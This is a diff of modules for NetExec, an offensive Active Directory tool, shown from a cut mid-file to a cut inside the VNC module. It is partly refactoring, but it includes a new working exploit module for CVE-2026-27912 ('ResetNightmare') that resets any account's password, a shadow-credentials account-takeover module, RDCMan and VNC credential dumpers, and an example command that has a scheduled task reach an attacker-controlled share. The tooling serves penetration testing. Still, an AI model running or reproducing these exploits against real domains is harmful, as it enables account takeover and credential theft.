SECRET_KEY = b"\x9c\x93\x5b\x48\x73\x0a\x55\x4d\x6b\xfd\x7c\x63\xc8\x86\xa9\x2b\xd3\x90\x19\x8e\xb8\x12\x8a\xfb\xf4\xde\x16\x2b\x8b\x95\xf6\x38"
crypter = AES.new(key=SECRET_KEY, mode=AES.MODE_CTR, initial_value=iv, nonce=b"")
return crypter.decrypt(buf).decode("utf-8")
def base64_urlsafedecode(self, string):
padding = 4 - (len(string) % 4)
string += "=" * padding
return base64.urlsafe_b64decode(string)
+6 -33
View File
@@ -1,55 +1,28 @@
from dploot.triage.rdg import RDGTriage, RDGServerProfile
from dploot.lib.target import Target
from nxc.helpers.logger import highlight
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
class NXCModule:
name = "rdcman"
description = "Remotely dump Remote Desktop Connection Manager (sysinternals) credentials"
supported_protocols = ["smb"]
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
""" """
def on_admin_login(self, context, connection):
username = connection.username
password = getattr(connection, "password", "")
nthash = getattr(connection, "nthash", "")
self.pvkbytes = get_domain_backup_key(connection)
target = Target.create(
domain=connection.domain,
username=username,
password=password,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
lmhash=getattr(connection, "lmhash", ""),
nthash=nthash,
do_kerberos=connection.kerberos,
aesKey=connection.aesKey,
no_pass=True,
use_kcache=getattr(connection, "use_kcache", False),
)
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
return
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
self.masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=True, dump_system=False)
if len(self.masterkeys) == 0:
context.log.fail("No masterkeys looted")
return
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting RDCMan secrets")
context.log.success("Looting RDCMan secrets")
try:
triage = RDGTriage(target=target, conn=conn, masterkeys=self.masterkeys)
triage = RDGTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys)
rdcman_files, rdgfiles = triage.triage_rdcman()
for rdcman_file in rdcman_files:
if rdcman_file is None:
@@ -58,7 +31,7 @@ class NXCModule:
log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}"
if isinstance(rdg_cred, RDGServerProfile):
log_text = f"{rdg_cred.server_name} - {log_text}"
context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}")
connection.dpapi_triage.log_secret(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}", self.context.log)
for rdgfile in rdgfiles:
if rdgfile is None:
continue
@@ -66,6 +39,6 @@ class NXCModule:
log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}"
if isinstance(rdg_cred, RDGServerProfile):
log_text = f"{rdg_cred.server_name} - {log_text}"
context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}")
connection.dpapi_triage.log_secret(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}", self.context.log)
except Exception as e:
context.log.debug(f"Could not loot RDCMan secrets: {e}")
+10 -1
View File
@@ -101,7 +101,8 @@ class NXCModule:
context.log.fail("Looks like target system version is under NT6, please add 'OLD=true' in module options.")
else:
context.log.fail(str(e))
wmi_rdp._RdpWmi__dcom.disconnect()
if wmi_rdp._RdpWmi__dcom is not None:
wmi_rdp._RdpWmi__dcom.disconnect()
class RdpSmb:
@@ -222,6 +223,14 @@ class RdpWmi:
self.__aesKey = connection.aesKey
self.__timeout = timeout
self.__dcom = None
if self.__currentprotocol == "wmi":
# The wmi protocol already holds an authenticated IWbemLevel1Login:
# reuse it instead of creating a second DCOMConnection to the same
# target (whose disconnect would clash with the protocol's own)
self.__iWbemLevel1Login = connection.iWbemLevel1Login
return
try:
self.__dcom = DCOMConnection(
self.__target,
+1 -1
View File
@@ -2,7 +2,7 @@
# Dirk-jan Mollema (@_dirkjan)
# dlive (@D1iv3)
#
# Refernece:
# Reference:
# - https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/
# - https://github.com/fox-it/cve-2019-1040-scanner
# - https://github.com/Dliv3/cve-2019-1040-scanner
+139
View File
@@ -0,0 +1,139 @@
from impacket.krb5 import constants
from impacket.krb5.types import Principal
from impacket.krb5.kerberosv5 import getKerberosTGT, KerberosError
from impacket.krb5.kpasswd import changePassword, KPasswdError, KRB5_KPASSWD_TGT_SPN
from impacket.ldap.ldap import MODIFY_REPLACE, MODIFY_DELETE, LDAPSessionError
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
"""
Module by @azoxlpf based on the ResetNightmare PoC and
https://www.semperis.com/blog/identity-crisis-novel-vulnerabilities-leading-to-kerberos-downgrade-dos-and-full-domain-takeover/
"""
name = "resetnightmare"
description = "Exploit ResetNightmare (CVE-2026-27912) to reset any account's password via Kerberos change password"
supported_protocols = ["ldap"]
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self):
self.context = None
self.connection = None
self.target = None
self.new_password = None
self.upn_user = None
self.upn_password = None
self.upn_nthash = None
def options(self, context, module_options):
"""
Reset any account's password by abusing the Kerberos Change Password protocol (CVE-2026-27912, ResetNightmare).
Requires GenericWrite over a controlled account's userPrincipalName, and an unpatched DC.
TARGET sAMAccountName of the account whose password gets reset (append $ for a computer)
NEW_PASSWORD New password to set on TARGET
UPN_USER sAMAccountName of a controlled account you can write a userPrincipalName to (not the login account)
UPN_PASSWORD Cleartext password of UPN_USER
UPN_NTHASH NT Hash of UPN_USER
Examples:
netexec ldap <ip> -u <username> -p <password> -M resetnightmare -o TARGET=Administrator NEW_PASSWORD='NewPass!' UPN_USER=controlled UPN_PASSWORD='Passw0rd!'
netexec ldap <ip> -u <username> -p <password> -M resetnightmare -o TARGET=Administrator NEW_PASSWORD='NewPass!' UPN_USER=controlled UPN_NTHASH='31d6cfe0d16ae931b73c59d7e0c089c0'
netexec ldap <ip> -u <username> -p <password> -M resetnightmare -o TARGET=DC01$ NEW_PASSWORD='NewPass!' UPN_USER=controlled$ UPN_PASSWORD='Passw0rd!'
"""
self.target = module_options.get("TARGET")
self.new_password = module_options.get("NEW_PASSWORD")
self.upn_user = module_options.get("UPN_USER")
self.upn_password = module_options.get("UPN_PASSWORD", "")
self.upn_nthash = module_options.get("UPN_NTHASH", "")
if not all([self.target, self.new_password, self.upn_user, self.upn_password or self.upn_nthash]):
context.log.fail("TARGET, NEW_PASSWORD, UPN_USER and either UPN_PASSWORD or UPN_NTHASH are all required")
return False
def resolve_account(self, sam):
response = self.connection.search(searchFilter=f"(sAMAccountName={sam})", attributes=["distinguishedName"])
entries = parse_result_attributes(response)
return entries[0]["distinguishedName"] if entries else None
def get_account_upn(self, sam):
response = self.connection.search(searchFilter=f"(sAMAccountName={sam})", attributes=["distinguishedName", "userPrincipalName"])
entries = parse_result_attributes(response)
if not entries:
return None, None
return entries[0]["distinguishedName"], entries[0].get("userPrincipalName")
def set_upn(self, dn, upn):
try:
self.connection.ldap_connection.modify(dn, {"userPrincipalName": [(MODIFY_REPLACE, upn)]})
return True
except LDAPSessionError as e:
self.context.log.fail(f"Failed to set UPN on {self.upn_user}: {e}")
return False
def restore_upn(self, dn, old_upn):
try:
if old_upn:
self.connection.ldap_connection.modify(dn, {"userPrincipalName": [(MODIFY_REPLACE, old_upn)]})
self.context.log.display(f"Restored original UPN '{old_upn}' on {self.upn_user}")
else:
self.connection.ldap_connection.modify(dn, {"userPrincipalName": [(MODIFY_DELETE, [])]})
self.context.log.display(f"Cleared fake UPN from {self.upn_user}")
except LDAPSessionError as e:
self.context.log.fail(f"Cleanup failed, UPN may still be set on {self.upn_user}: {e}")
def request_changepw_tgt(self):
client = Principal(self.target, type=constants.PrincipalNameType.NT_ENTERPRISE.value)
kdc = self.connection.kdcHost or self.connection.host
try:
tgt, cipher, _, session_key = getKerberosTGT(client, self.upn_password, self.connection.domain, "", self.upn_nthash, "", kdcHost=kdc, serverName=KRB5_KPASSWD_TGT_SPN)
except (KerberosError, OSError) as e:
self.context.log.fail(f"Failed to request change-password TGT: {e}")
return None
self.context.log.success(f"Obtained NT-ENTERPRISE TGT for '{self.target}' targeting {KRB5_KPASSWD_TGT_SPN}")
return {"KDC_REP": tgt, "cipher": cipher, "sessionKey": session_key}
def reset_password(self, tgt):
kdc = self.connection.kdcHost or self.connection.host
try:
changePassword(self.target, self.connection.domain, self.new_password, TGT=tgt, kdcHost=kdc, kpasswdHost=kdc)
except (KPasswdError, KerberosError, OSError) as e:
self.context.log.fail(f"Password change failed: {' '.join(str(e).split())}")
return False
return True
def on_login(self, context, connection):
self.context = context
self.connection = connection
target_dn = self.resolve_account(self.target)
if not target_dn:
context.log.fail(f"Target '{self.target}' not found")
return
upn_dn, old_upn = self.get_account_upn(self.upn_user)
if not upn_dn:
context.log.fail(f"Controlled account '{self.upn_user}' not found")
return
context.log.display(f"Target: {self.target} ({target_dn})")
context.log.display(f"Controlled account: {self.upn_user} ({upn_dn}), current UPN: {old_upn or '<none>'}")
if not self.set_upn(upn_dn, self.target):
return
context.log.success(f"Set fake UPN '{self.target}' on {self.upn_user}")
try:
tgt = self.request_changepw_tgt()
finally:
self.restore_upn(upn_dn, old_upn)
if tgt is None:
return
if not self.reset_password(tgt):
return
context.log.highlight(f"Successfully reset password of '{self.target}' to '{self.new_password}'")
context.db.add_credential("plaintext", connection.domain, self.target, self.new_password)
+5 -14
View File
@@ -1,9 +1,9 @@
import contextlib
from impacket.dcerpc.v5 import transport, rrp
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from impacket.dcerpc.v5 import rrp
from impacket.dcerpc.v5.rpcrt import DCERPCException
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
from impacket.smbconnection import SMBConnection
@@ -24,18 +24,9 @@ class NXCModule:
connection.trigger_winreg()
rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]")
rpc.set_smb_connection(connection.conn)
if connection.kerberos:
rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
dce = rpc.get_dce_rpc()
if connection.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce = None
try:
dce.connect()
dce.bind(rrp.MSRPC_UUID_RRP)
dce = NXCRPCConnection(connection).connect(r"\winreg", rrp.MSRPC_UUID_RRP)
# Open HKEY_LOCAL_MACHINE
ans = rrp.hOpenLocalMachine(dce)
@@ -47,7 +38,7 @@ class NXCModule:
except DCERPCException:
self.context.log.fail("No site Database found")
except DCERPCException as e:
if "rpc_s_access_denied" in str(e):
if "rpc_s_access_denied" in str(e) or "ERROR_FILE_NOT_FOUND" in str(e):
self.context.log.info(f"Probably not a primary site server or a distribution point: {e}")
else:
self.context.log.fail(f"Unexpected error: {e}")
+2 -2
View File
@@ -1,6 +1,6 @@
from impacket.ldap import ldap, ldaptypes
from impacket.ldap.ldap import LDAPSearchError
from ldap3.protocol.microsoft import security_descriptor_control
from impacket.ldap.ldapasn1 import SDFlagsControl
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
@@ -56,7 +56,7 @@ class NXCModule:
try:
# Search for SCCM root object
search_filter = f"(distinguishedName=CN=System Management,CN=System,{self.base_dn})"
controls = security_descriptor_control(sdflags=0x04)
controls = [SDFlagsControl(criticality=False, flags=0x04)]
context.log.display(f"Looking for the SCCM container with filter: '{search_filter}'")
result = connection.ldap_connection.search(
searchFilter=search_filter,
+10 -19
View File
@@ -44,7 +44,6 @@ class NXCModule:
nxc smb <ip> -u <user> -p <password> -M schtask_as -o USER=Administrator CMD='dir \\<attacker-ip>\pwn' TASK='Legit Task' SILENTCOMMAND='True'
nxc smb <ip> -u <user> -p <password> -M schtask_as -o USER=Administrator CMD=certreq CA='ADCS\whiteflag-ADCS-CA' TEMPLATE=User
"""
self.logger = context.log
self.command_to_run = self.binary_to_upload = self.run_task_as = self.task_name = self.output_filename = self.output_file_location = self.time = self.ca_name = self.template_name = None
self.share = "C$"
self.output_file_location = "\\Windows\\Temp"
@@ -71,6 +70,7 @@ class NXCModule:
self.template_name = module_options.get("TEMPLATE")
def on_admin_login(self, context, connection):
self.logger = context.log
if self.command_to_run is None:
self.logger.fail("You need to specify a CMD to run")
@@ -173,24 +173,15 @@ class NXCModule:
self.logger.display("Connecting to the remote Service control endpoint")
try:
exec_method = TSCH_EXEC(
connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
connection.smb_share_name,
connection.username,
connection.password,
connection.domain,
connection.kerberos,
connection.aesKey,
connection.host,
connection.kdcHost,
connection.hash,
self.logger,
connection.args.get_output_tries,
connection.args.share,
self.run_task_as,
self.command_to_run,
self.output_filename,
self.task_name,
self.output_file_location,
connection=connection,
logger=self.logger,
tries=connection.args.get_output_tries,
share=connection.args.share,
run_task_as=self.run_task_as,
run_cmd=self.command_to_run,
output_filename=self.output_filename,
task_name=self.task_name,
output_file_location=self.output_file_location,
)
if self.show_output is False:
+15 -21
View File
@@ -1,9 +1,10 @@
from impacket.dcerpc.v5 import samr, transport
from impacket.dcerpc.v5 import samr
from impacket.nt_errors import STATUS_MORE_ENTRIES
from impacket.dcerpc.v5.rpcrt import DCERPCException
from json import loads
from traceback import format_exc as traceback_format_exc
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
@@ -46,24 +47,14 @@ class NXCModule:
self.__nthash = context.hash[0]
self.__lmhash = "00000000000000000000000000000000"
self.getSAMRResetInfo(context)
def getSAMRResetInfo(self, context):
string_binding = f"ncacn_np:{self.__targetIp}[\\pipe\\samr]"
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport.set_dport(445)
rpc_transport.setRemoteHost(self.__targetIp)
if hasattr(rpc_transport, "set_credentials"):
# This method exists only for selected protocol sequences.
rpc_transport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey)
rpc_transport.set_kerberos(self.__doKerberos, self.__kdcHost)
self.getSAMRResetInfo(context, connection)
def getSAMRResetInfo(self, context, connection):
dce = None
server_handle = None
domain_handle = None
try:
dce = rpc_transport.get_dce_rpc()
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)
dce = NXCRPCConnection(connection).connect(r"\samr", samr.MSRPC_UUID_SAMR)
# obtain server handle for samr connection
resp = samr.hSamrConnect(dce)
@@ -128,8 +119,11 @@ class NXCModule:
context.log.debug(traceback_format_exc())
finally:
if domain_handle is not None:
samr.hSamrCloseHandle(dce, domain_handle)
if server_handle is not None:
samr.hSamrCloseHandle(dce, server_handle)
try:
if domain_handle is not None:
samr.hSamrCloseHandle(dce, domain_handle)
if server_handle is not None:
samr.hSamrCloseHandle(dce, server_handle)
except Exception as e:
context.log.debug(f"Error during SAMR cleanup: {e}")
dce.disconnect()
+249
View File
@@ -0,0 +1,249 @@
import json
from pathlib import Path
from cryptography.hazmat.primitives.serialization import NoEncryption
from cryptography.hazmat.primitives.serialization.pkcs12 import serialize_key_and_certificates
from dsinternals.common.cryptography.X509Certificate2 import X509Certificate2
from dsinternals.common.data.DNWithBinary import DNWithBinary
from dsinternals.common.data.hello.KeyCredential import KeyCredential
from dsinternals.system.DateTime import DateTime
from dsinternals.system.Guid import Guid
from impacket.ldap.ldap import MODIFY_ADD, MODIFY_DELETE, MODIFY_REPLACE, LDAPSessionError
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.paths import NXC_PATH
class NXCModule:
"""
Made by @NeffIsBack
Heavily inspired by the pyWhisker project by Shutdown:
https://github.com/ShutdownRepo/pywhisker
"""
name = "shadow-creds"
description = "List, add, inspect, remove, clear, backup, or revert Shadow Credentials on a user or computer"
supported_protocols = ["ldap"]
category = CATEGORY.PRIVILEGE_ESCALATION
def options(self, context, module_options):
"""
TARGET sAMAccountName of the target user or computer (for example, TARGET=user or TARGET=DESKTOP-123456$)
ACTION Action to perform: list, add, info, remove, clear, backup, or revert (default: list); clear removes all KeyCredentials
DEVICE_ID KeyCredential device ID; required for info and remove
JSONFILE JSON backup path; required for revert and optional for backup
Examples:
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=list
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=add
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=info DEVICE_ID=<guid>
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=remove DEVICE_ID=<guid>
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=clear
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=backup JSONFILE=shadow-creds.json
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=revert JSONFILE=shadow-creds.json
"""
self.target = module_options.get("TARGET", "").strip()
self.action = module_options.get("ACTION", "list").lower().strip()
self.device_id = module_options.get("DEVICE_ID")
self.jsonfile = module_options.get("JSONFILE")
if not self.target:
context.log.fail("TARGET is required")
return False
if self.action not in {"list", "add", "info", "remove", "clear", "backup", "revert"}:
context.log.fail("ACTION must be one of: list, add, info, remove, clear, backup, revert")
return False
if self.action in {"info", "remove"} and not self.device_id:
context.log.fail(f"DEVICE_ID is required for ACTION={self.action}")
return False
if self.action == "revert" and not self.jsonfile:
context.log.fail("JSONFILE is required for ACTION=revert")
return False
def on_login(self, context, connection):
self.context = context
self.connection = connection
resp = connection.search(
searchFilter=f"(&(objectClass=user)(sAMAccountName={self.target}))",
attributes=["distinguishedName", "sAMAccountName", "objectClass", "msDS-KeyCredentialLink"],
)
resp_parsed = parse_result_attributes(resp)
if not resp_parsed:
context.log.fail(f"Account '{self.target}' was not found")
return
target_dn = resp_parsed[0]["distinguishedName"]
raw_values = resp_parsed[0].get("msDS-KeyCredentialLink", [])
raw_values = raw_values if isinstance(raw_values, list) else [raw_values]
if self.action == "list":
self.list(self.parse_credentials(raw_values))
elif self.action == "add":
self.add(target_dn, "computer" in resp_parsed[0]["objectClass"])
elif self.action == "info":
self.info(self.parse_credentials(raw_values))
elif self.action == "remove":
self.remove(target_dn, self.parse_credentials(raw_values))
elif self.action == "clear":
self.clear(target_dn, raw_values)
elif self.action == "backup":
self.backup(raw_values)
elif self.action == "revert":
self.revert(target_dn)
def parse_credentials(self, raw_values):
credentials = []
for raw_value in raw_values:
try:
# AD stores each KeyCredential as a textual DN-Binary value.
credentials.append(
(
raw_value,
KeyCredential.fromDNWithBinary(DNWithBinary.fromRawDNWithBinary(raw_value.encode())),
)
)
except Exception as e:
self.context.log.fail(f"Could not parse an existing KeyCredential: {e}")
return credentials
def get_credential(self, credentials):
for raw_value, credential in credentials:
if credential.DeviceId and credential.DeviceId.toFormatD().lower() == self.device_id.lower():
return raw_value, credential
self.context.log.fail(f"No KeyCredential with device ID {self.device_id} was found on {self.target}")
return None
def list(self, credentials):
if not credentials:
self.context.log.display(f"No KeyCredentials found on {self.target}")
return
self.context.log.success(f"Found {len(credentials)} KeyCredential(s) on {self.target}")
for _, credential in credentials:
self.context.log.highlight(f"Device ID: {credential.DeviceId.toFormatD().lower() if credential.DeviceId else '<missing>'} | Creation time: {credential.CreationTime}")
def add(self, target_dn, is_computer):
try:
certificate = X509Certificate2(subject=self.target, keySize=2048, notBefore=-(40 * 365), notAfter=40 * 365)
credential = KeyCredential.fromX509Certificate2(
certificate=certificate,
deviceId=Guid(),
owner=target_dn,
currentTime=DateTime(),
isComputerKey=is_computer,
)
device_id = credential.DeviceId.toFormatD().lower()
ldap_value = credential.toDNWithBinary().toString()
output_path = self.write_pfx(certificate, device_id)
except Exception as e:
self.context.log.fail(f"Failed to generate certificate and KeyCredential: {e}")
return
try:
# Add one value instead of replacing the complete multi-valued attribute.
self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_ADD, [ldap_value])]})
except LDAPSessionError as e:
self.context.log.fail(f"Failed to add the KeyCredential: {e}")
self.context.log.display(f"Generated PFX retained at {output_path}")
return
self.context.log.success(f"Added KeyCredential with device ID {device_id} to {self.target}")
self.context.log.highlight(f"PFX: {output_path}")
def write_pfx(self, certificate, device_id):
output_dir = Path(NXC_PATH) / "modules" / "shadow-creds"
output_dir.mkdir(parents=True, exist_ok=True)
output_path = output_dir / f"{self.target.rstrip('$')}_{device_id}.pfx"
output_path.write_bytes(
serialize_key_and_certificates(
name=self.target.encode("utf-8"),
key=certificate.key.to_cryptography_key(),
cert=certificate.certificate.to_cryptography(),
cas=None,
encryption_algorithm=NoEncryption(),
)
)
return output_path
def info(self, credentials):
result = self.get_credential(credentials)
if result is None:
return
_, credential = result
self.context.log.success(f"KeyCredential {self.device_id} on {self.target}")
for name, value in {
"Owner": credential.Owner,
"Device ID": credential.DeviceId.toFormatD().lower(),
"Version": hex(credential.Version.value),
"Key ID": credential.Identifier,
"Key hash": credential.KeyHash.hex(),
"Key size": getattr(credential.RawKeyMaterial, "keySize", "unknown"),
" Exponent (E)": credential.RawKeyMaterial.exponent,
" Modulus (N)": hex(credential.RawKeyMaterial.modulus),
" Prime 1 (P)": hex(credential.RawKeyMaterial.prime1),
" Prime 2 (Q)": hex(credential.RawKeyMaterial.prime2),
"Usage": credential.Usage,
"Legacy usage": credential.LegacyUsage,
"Source": credential.Source,
"Custom key info": credential.CustomKeyInfo,
**{f" {key}": custom_value for key, custom_value in credential.CustomKeyInfo.items()},
"Last logon time": credential.LastLogonTime,
"Creation time": credential.CreationTime,
}.items():
self.context.log.highlight(f"{name:<17} {value}")
def remove(self, target_dn, credentials):
result = self.get_credential(credentials)
if result is None:
return
raw_value, _ = result
try:
# Delete the exact raw value so neighboring credentials remain untouched.
self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_DELETE, [raw_value])]})
except LDAPSessionError as e:
self.context.log.fail(f"Failed to remove the KeyCredential: {e}")
return
self.context.log.success(f"Removed KeyCredential {self.device_id} from {self.target}")
def clear(self, target_dn, raw_values):
if not raw_values:
self.context.log.display(f"No KeyCredentials found on {self.target}")
return
try:
self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_DELETE, [])]})
except LDAPSessionError as e:
self.context.log.fail(f"Failed to clear KeyCredentials: {e}")
return
self.context.log.success(f"Cleared all KeyCredentials from {self.target}")
def backup(self, raw_values):
output_path = Path(self.jsonfile) if self.jsonfile else Path(NXC_PATH) / "modules" / "shadow-creds" / f"{self.target.rstrip('$')}.json"
output_path.parent.mkdir(parents=True, exist_ok=True)
output_path.write_text(json.dumps({"keyCredentials": raw_values}, indent=4), encoding="utf-8")
self.context.log.success(f"Backed up {len(raw_values)} KeyCredential(s) from {self.target} to {output_path}")
def revert(self, target_dn):
try:
key_credentials = []
for key_credential in json.loads(Path(self.jsonfile).read_text(encoding="utf-8"))["keyCredentials"]:
if not isinstance(key_credential, (dict, str)):
raise ValueError("keyCredentials entries must be objects or strings")
key_credentials.append(KeyCredential.fromDict(key_credential).toDNWithBinary().toString() if isinstance(key_credential, dict) else key_credential)
except Exception as e:
self.context.log.fail(f"Failed to read Shadow Credentials backup: {e}")
return
try:
self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_REPLACE, key_credentials)]})
except Exception as e:
self.context.log.fail(f"Failed to revert Shadow Credentials: {e}")
return
self.context.log.success(f"Reverted {self.target} to {len(key_credentials)} backed-up KeyCredential(s)")
+3 -1
View File
@@ -127,6 +127,8 @@ class SMBSpiderPlus:
self.logger.debug(f"The folder {subfolder} does not exist.")
elif "STATUS_STOPPED_ON_SYMLINK" in str(e):
self.logger.debug(f"The folder {subfolder} is a symlink that cannot be followed. Skipping.")
elif "STATUS_NO_SUCH_FILE" in str(e):
self.logger.debug(f"The folder {subfolder} is empty.")
elif self.reconnect():
filelist = self.list_path(share, subfolder)
except NetBIOSTimeout as e:
@@ -327,7 +329,7 @@ class SMBSpiderPlus:
download_success = True
except SessionError as e:
if "STATUS_SHARING_VIOLATION" in str(e):
pass
self.logger.debug(f"Sharing violation while downloading file: {file_path}")
except Exception as e:
self.logger.fail(f'Failed to download file "{file_path}". Error: {e!s}')
+14 -28
View File
@@ -1,6 +1,6 @@
# https://raw.githubusercontent.com/SecureAuthCorp/impacket/master/examples/rpcdump.py
from impacket import uuid
from impacket.dcerpc.v5 import transport, epm
from impacket.dcerpc.v5 import epm
from impacket.dcerpc.v5.rpch import (
RPC_PROXY_INVALID_RPC_PORT_ERR,
RPC_PROXY_CONN_A1_0X6BA_ERR,
@@ -9,11 +9,7 @@ from impacket.dcerpc.v5.rpch import (
)
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from nxc.helpers.misc import CATEGORY
KNOWN_PROTOCOLS = {
135: {"bindstr": r"ncacn_ip_tcp:%s[135]"},
445: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"},
}
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
@@ -41,21 +37,20 @@ class NXCModule:
def on_login(self, context, connection):
entries = []
lmhash = getattr(connection, "lmhash", "")
nthash = getattr(connection, "nthash", "")
self.__stringbinding = KNOWN_PROTOCOLS[self.port]["bindstr"] % connection.host
context.log.debug(f"StringBinding {self.__stringbinding}")
rpctransport = transport.DCERPCTransportFactory(self.__stringbinding)
rpctransport.set_credentials(connection.username, connection.password, connection.domain, lmhash, nthash)
rpctransport.setRemoteHost(connection.host)
rpctransport.set_dport(self.port)
if connection.kerberos:
rpctransport.set_kerberos(connection.kerberos, connection.kdcHost)
use_tcp = self.port == 135
try:
entries = self.__fetch_list(connection.kerberos, rpctransport)
rpc = NXCRPCConnection(connection, force_tcp=use_tcp)
if use_tcp:
rpc.rpc_transport = rpc.create_tcp_transport(target_ip=connection.host)
else:
rpc.rpc_transport = rpc.create_smb_transport(r"\epmapper")
dce = rpc.rpc_transport.get_dce_rpc()
if connection.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
entries = list(epm.hept_lookup(None, dce=dce))
dce.disconnect()
except Exception as e:
error_text = f"Protocol failed: {e}"
context.log.critical(error_text)
@@ -112,12 +107,3 @@ class NXCModule:
context.log.debug(f"[Spooler] Received {num} endpoints")
else:
context.log.debug("[Spooler] No endpoints found")
def __fetch_list(self, doKerberos, rpctransport):
dce = rpctransport.get_dce_rpc()
if doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
resp = epm.hept_lookup(None, dce=dce)
dce.disconnect()
return resp
+1 -1
View File
@@ -97,7 +97,7 @@ class NXCModule:
if ready:
reply = sock.recvfrom(120)[0]
# Extract RID, hash and "salt" if succesful.
# Extract RID, hash and "salt" if successful.
if len(reply) == 68:
salt = reply[:48]
answer_rid = unpack("<I", reply[-20:-16])[0] ^ keyflag
+1 -1
View File
@@ -95,7 +95,7 @@ class NXCModule:
logfile = Path(NXC_PATH).joinpath(logfile)
self.context.log.info(f"Creating log file '{logfile}'")
self.log_file = open(logfile, "w") # noqa: SIM115
self.log_file = open(logfile, "w") # ruff: ignore[open-file-with-context-handler]
self.append_to_log("User:", "Description:")
def delete_log_file(self):
+41 -102
View File
@@ -1,18 +1,14 @@
import ntpath
import tempfile
from dploot.lib.target import Target
from impacket.dcerpc.v5 import rrp
from impacket import winregistry
from impacket.examples.secretsdump import RemoteOperations
from impacket.system_errors import ERROR_NO_MORE_ITEMS
from impacket.dcerpc.v5 import rrp
from Cryptodome.Cipher import DES
from binascii import unhexlify
import codecs
import re
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
class NXCModule:
@@ -23,7 +19,7 @@ class NXCModule:
name = "vnc"
description = "Loot Passwords from VNC server and client configurations"
supported_protocols = ["smb"]
supported_protocols = ["smb", "wmi", "winrm"]
category = CATEGORY.CREDENTIAL_DUMPING
def __init__(self, context=None, module_options=None):
@@ -49,79 +45,40 @@ class NXCModule:
def on_admin_login(self, context, connection):
self.context = context
self.connection = connection
self.share = self.connection.args.share
self.share = self.connection.args.share if hasattr(self.connection.args, "share") else "C$"
host = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
domain = connection.domain
username = connection.username
kerberos = connection.kerberos
aesKey = connection.aesKey
use_kcache = getattr(connection, "use_kcache", False)
password = getattr(connection, "password", "")
lmhash = getattr(connection, "lmhash", "")
nthash = getattr(connection, "nthash", "")
dploot_conn = connection.dpapi_triage.conn
target = Target.create(
domain=domain,
username=username,
password=password,
target=host,
lmhash=lmhash,
nthash=nthash,
do_kerberos=kerberos,
aesKey=aesKey,
use_kcache=use_kcache,
)
dploot_conn = upgrade_to_dploot_connection(target=target, connection=connection.conn)
if not self.no_remoteops:
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
self.vnc_from_registry(remote_ops)
self.vnc_client_proxyconf_extract(dploot_conn, remote_ops)
self.vnc_from_registry(dploot_conn)
self.vnc_client_proxyconf_extract(dploot_conn)
self.vnc_from_filesystem(dploot_conn)
def reg_query_value(self, remote_ops, path, key, hku=False):
if remote_ops._RemoteOperations__rrp:
